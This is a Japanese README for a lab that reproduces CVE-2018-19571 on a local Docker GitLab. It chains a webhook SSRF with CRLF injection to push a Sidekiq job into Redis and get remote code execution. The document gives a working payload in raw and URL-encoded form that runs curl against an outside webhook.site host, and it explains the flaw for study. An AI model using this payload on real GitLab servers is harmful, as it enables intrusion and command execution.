
CVE-2018-19571: GitLab SSRF CVEのデモンストレーション
このリポジトリは、CVE-2018-19571 の再現であり、CRLFインジェクションエクスプロイトと組み合わせることでリモートコード実行 (RCE) に至る方法を示しています。
GitLab CE/EE のバージョン 8.18 から 11.x(11.3.11 未満)、11.4(11.4.8 未満)、11.5(11.5.1 未満)は、Webhook における SSRF の脆弱性の影響を受けます。
この再現には、脆弱性のある GitLab イメージを使用し、Docker Compose を使って実行します。
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
目的は、処理されると Redis にペイロードが送信されるような Webhook URL を提供することです。
このペイロードはキューに追加され、実行されると任意のシェルコードを実行する Sidekiq ジョブを含んでいます。今回の場合、フラグの値をコピーして取得します。
まず手順を実行し、その後各手順が何を行うかを説明します。
アカウントを作成するか、root アカウントでログインします。
root パスワードは initial_root_password ファイルで指定されているように password ですが、正しく読み込まれないことがあります。
その場合は、root アカウントのパスワードを直接変更する必要があります。
docker exec -it gitlab-ssrf_web_1 /bin/bash
# シェル内
gitlab-rails console
# コンソール内
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
その後、http://localhost:5080 にアクセスしてログインします。

プロジェクト作成ページに移動します。
次に、http://localhost:5080/projects/new にアクセスし、Import project タブをクリックします。Repo by URL オプションが表示されます。これを利用して SSRF 攻撃を実行します。

フラグを受け取るための Webhook を作成します。
https://webhook.site/ で Webhook URL を作成します。
以下のペイロード内の Webhook URL を置き換えます。
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
最後に、URL エンコーダー を使用して上記をエンコードします。エンコードするのはペイロード部分(先頭の空白や改行を含む)のみで、最初と最後の行はエンコードしないことに注意してください。また、CRLF を使用する必要があります。最後に、該当する場合は次の文字をそれぞれのエンコードに置き換えてください。
_: %5F.: %2E-: %2Dgit://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
上記がうまくいかない場合は、内部サービスへのアウトバウンドリクエストを有効にする必要があるかもしれません。

root でログインした後、http://localhost:5080/admin/application_settings/network で設定できます。
この攻撃では 2 つの脆弱性を悪用しています。1 つ目は SSRF で、IPv6 を介して内部サービスにアクセスできることです。詳細は GitLab のイシュー(https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242)を参照してください。
2 つ目の脆弱性は、Webhook の URL で改行が許可されていたことです。
この 2 つを組み合わせることで、内部サービスにペイロードを渡すことができます。今回はローカルの Redis サービスを標的にしています。
渡したペイロードは Redis キューに新しいジョブを追加し、このジョブは Ruby on Rails で動作する非同期ジョブランナーである Sidekiq によって処理されます。特に GitlabShellWorker ジョブクラスを標的にしており、これにより任意のコードを実行できます。
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
したがって、open('| curl <URL HERE>').read を渡し、class_eval で実行することで、リモートコード実行を引き起こすことができます。
(または、上記のペイロードをそのまま使用し、https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ で出力を確認することもできます。)

Webhook に GET リクエストが送信されたことが確認できるはずです(GitLab がリポジトリの取得を繰り返し試みるため、リクエストは繰り返されます)。
